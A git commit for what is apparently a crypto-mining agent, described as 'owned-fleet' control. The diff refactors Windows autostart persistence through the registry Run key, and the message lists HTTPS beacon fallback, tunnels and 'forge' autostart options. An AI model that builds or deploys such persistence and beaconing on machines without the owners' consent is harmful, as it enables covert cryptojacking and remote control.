feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

agent/deploy/persistence_windows.go

@@ -3,11 +3,7 @@
 package deploy
 
 import (
-	"strings"
-
 	"crypto-miner-agent/config"
-
-	"golang.org/x/sys/windows/registry"
 )
 
 func scheduledTaskExists(taskName string) bool {
@@ -15,17 +11,7 @@ func scheduledTaskExists(taskName string) bool {
 }
 
 func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
-	keyName := PersistenceKeyName(cfg)
-	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
-	if err != nil {
-		return false
-	}
-	defer k.Close()
-	val, _, err := k.GetStringValue(keyName)
-	if err != nil {
-		return false
-	}
-	return strings.Contains(val, binPath)
+	return registryRunValueExists(cfg, AutostartLogonRun, binPath)
 }
 
 func serviceExists(svcName string) bool {
@@ -59,12 +45,6 @@ func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
 				return err
 			}
 		}
-	default:
-		if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
-			if err := configureAutoStart(cfg, installedBin); err != nil {
-				return err
-			}
-		}
 	}
-	return nil
+	return ensureAutostartHooks(cfg, installedBin, true)
 }